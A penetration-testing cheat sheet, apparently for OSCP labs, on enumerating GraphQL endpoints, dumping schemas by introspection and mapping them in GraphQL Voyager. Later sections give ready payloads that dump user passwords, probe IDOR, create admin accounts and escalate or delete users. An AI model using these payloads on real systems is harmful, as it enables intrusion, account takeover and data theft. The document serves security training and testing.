GraphQL — API Enumeration & GraphQL Voyager

Ctrl+F: IntrospectionQuery · /graphql · graphql-voyager · __schema · mutation · apis.guru

GraphQL exposes a single endpoint (often /graphql) where clients send queries (read) and mutations (write). If introspection is enabled, you can dump the entire API schema — fields, types, arguments — without documentation.

Live visualizer: GraphQL Voyager · GitHub: APIs-guru/graphql-voyager


📌 When to use this

Web app / API on 80/443
│
├─ Gobuster/ffuf found /graphql · /api/graphql · /v1/graphql · /graphiql
├─ Response mentions "GraphQL" · JSON with "errors" + "query"
├─ POST with Content-Type: application/json to /api
│
└─ Run introspection → map schema → hunt admin mutations · IDOR · cred fields

Pair with Gobuster · ffuf · Burp Suite · Curl · Initial foothold


📌 1) Find the GraphQL endpoint

Common paths

/graphql
/graphiql
/graphql/console
/api/graphql
/v1/graphql
/query
/gql
/playground
/altair
# Dir brute — SecLists API wordlist
gobuster dir -u http://TARGET -w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt
ffuf -w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt \
  -u http://TARGET/FUZZ -mc 200,301,302,401,403
 
# Quick probe
curl -s -o /dev/null -w "%{http_code}" http://TARGET/graphql
curl -s http://TARGET/graphql -H "Content-Type: application/json" \
  -d '{"query":"{ __typename }"}'

GraphiQL / Playground in browser = introspection often one click away.


📌 2) Introspection query

Standard query to dump the full schema (same as Voyager COPY INTROSPECTION QUERY):

query IntrospectionQuery {
  __schema {
    queryType { name kind }
    mutationType { name kind }
    subscriptionType { name kind }
    types {
      ...FullType
    }
    directives {
      name
      description
      locations
      args {
        ...InputValue
      }
    }
  }
}
 
fragment FullType on __Type {
  kind
  name
  description
  fields(includeDeprecated: true) {
    name
    description
    args {
      ...InputValue
    }
    type {
      ...TypeRef
    }
    isDeprecated
    deprecationReason
  }
  inputFields {
    ...InputValue
  }
  interfaces {
    ...TypeRef
  }
  enumValues(includeDeprecated: true) {
    name
    description
    isDeprecated
    deprecationReason
  }
  possibleTypes {
    ...TypeRef
  }
}
 
fragment InputValue on __InputValue {
  name
  description
  type { ...TypeRef }
  defaultValue
}
 
fragment TypeRef on __Type {
  kind
  name
  ofType {
    kind
    name
    ofType {
      kind
      name
      ofType {
        kind
        name
        ofType {
          kind
          name
          ofType {
            kind
            name
            ofType {
              kind
              name
              ofType {
                kind
                name
                ofType {
                  kind
                  name
                  ofType {
                    kind
                    name
                  }
                }
              }
            }
          }
        }
      }
    }
  }
}

Save as introspection.json payload:

{"query": "query IntrospectionQuery { __schema { queryType { name } mutationType { name } types { name kind fields { name } } } } }"}

Full query is large — use Voyager copy button or save .graphql file and wrap in JSON.


📌 3) Run introspection (curl)

ENDPOINT="http://TARGET/graphql"
 
# Minimal sanity check
curl -s "$ENDPOINT" -H "Content-Type: application/json" \
  -d '{"query":"{ __typename }"}'
 
# Full introspection — save response
curl -s "$ENDPOINT" -H "Content-Type: application/json" \
  -d @introspection_min.json -o schema.json
 
# With auth (JWT / session / API key)
curl -s "$ENDPOINT" \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer TOKEN" \
  -H "Cookie: session=VALUE" \
  -d @introspection_min.json -o schema.json
 
# GET-style (some misconfigs allow query in URL)
curl -s "$ENDPOINT?query=%7B__typename%7D"

Burp: Send POST to Repeater → paste JSON body → inspect data.__schema.types[].


📌 4) GraphQL Voyager — visual schema map

Voyager renders the schema as an interactive graph (types as nodes, relationships as edges).

Workflow (matches UI — INTROSPECTION tab)

  1. Open https://apis.guru/graphql-voyager/
  2. Click Change Schema (or settings) → tab INTROSPECTION
  3. COPY INTROSPECTION QUERY → run against target (curl / Burp)
  4. Paste the JSON response into the textarea
  5. Click DISPLAY → explore Query / Mutation types, fields, args

Schema is processed in-browser only — not sent to third parties (useful on exam/lab).

What to click in Voyager

AreaLook for
Query rootusers, user(id), me, admin, files, secrets
Mutation rootcreateUser, updatePassword, deleteUser, login, register
TypesUser, Admin, Credential, File, Config
Field argsid, userId, role — IDOR candidates
Scalarspassword, token, apiKey, secret field names

Skip Relay option simplifies graph (hides connection/pagination wrapper types).

Direct connect (if Voyager can reach target — rare on lab VPN): some builds allow endpointUrl — usually you paste introspection JSON instead.


📌 5) What to hunt after mapping

High-value queries

# List users
{ users { id username email password role } }
 
# Single user by ID — try other IDs (IDOR)
{ user(id: 1) { id username email } }
 
# Current session
{ me { id role isAdmin } }

High-value mutations

mutation { updateUser(id: 1, role: "admin") { id role } }
mutation { createUser(username: "hacker", password: "P@ss", role: "admin") { id } }
mutation { deleteUser(id: 2) { success } }

OSCP checklist

CheckWhy
Mutations without authPrivilege escalation, user create
IDOR on id argsRead other users’ data
Sensitive fields in schemapassword, hash, token, ssn
Batch / alias abuseRate-limit bypass (multiple ops one request)
Nested queriesDoS depth/complexity (usually out of OSCP scope)
Subscriptions over WSffuf /graphql + websocket paths
# Grep saved schema.json for juicy names
grep -iE "password|secret|token|admin|credential|flag" schema.json

📌 6) Introspection disabled?

Try anyway — labs often leave it on. If blocked:

# Partial / typo queries sometimes leak hints in errors
curl -s "$ENDPOINT" -H "Content-Type: application/json" \
  -d '{"query":"{ __schema { types { name } } }"}'
 
# Field suggestion errors: "Cannot query field \"foo\" on type \"Query\". Did you mean \"users\"?"
curl -s "$ENDPOINT" -H "Content-Type: application/json" \
  -d '{"query":"{ foo }"}'

Tools (optional): clairvoyance (wordlist-driven schema recovery) · graphql-cop (misconfig scanner).


📌 7) Minimal introspection (smaller payload)

When full query is blocked by WAF/size limits:

{
  "query": "query { __schema { queryType { name fields { name args { name type { name } } } } mutationType { name fields { name } } types { name kind fields { name } } } }"
}

Or type names only:

{"query": "{ __schema { types { name kind } } }"}

📌 8) Example lab flow

# 1. Find endpoint
ffuf -w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt \
  -u http://TARGET/FUZZ -mc 200,301,302,403
 
# 2. Introspect
curl -s http://TARGET/graphql -H "Content-Type: application/json" \
  -d '{"query":"{ __schema { types { name fields { name } } } }"}' | jq . > schema.json
 
# 3. Visualize
# → Paste schema.json into https://apis.guru/graphql-voyager/ (INTROSPECTION tab)
 
# 4. Abuse
curl -s http://TARGET/graphql -H "Content-Type: application/json" \
  -d '{"query":"{ users { id username password } }"}'
 
curl -s http://TARGET/graphql -H "Content-Type: application/json" \
  -d '{"query":"mutation { register(username:\"pwn\",password:\"pwn\",role:\"admin\"){ id } }"}'

Pretty Print (jq) for JSON


📌 Quick cheat sheet

# Endpoint probe
curl -s http://TARGET/graphql -H "Content-Type: application/json" -d '{"query":"{ __typename }"}'
 
# Dump schema
curl -s http://TARGET/graphql -H "Content-Type: application/json" \
  -d @introspection.json -o schema.json
 
# Voyager: https://apis.guru/graphql-voyager/ → INTROSPECTION → paste JSON → DISPLAY
 
# Hunt fields
grep -iE "user|admin|password|mutation" schema.json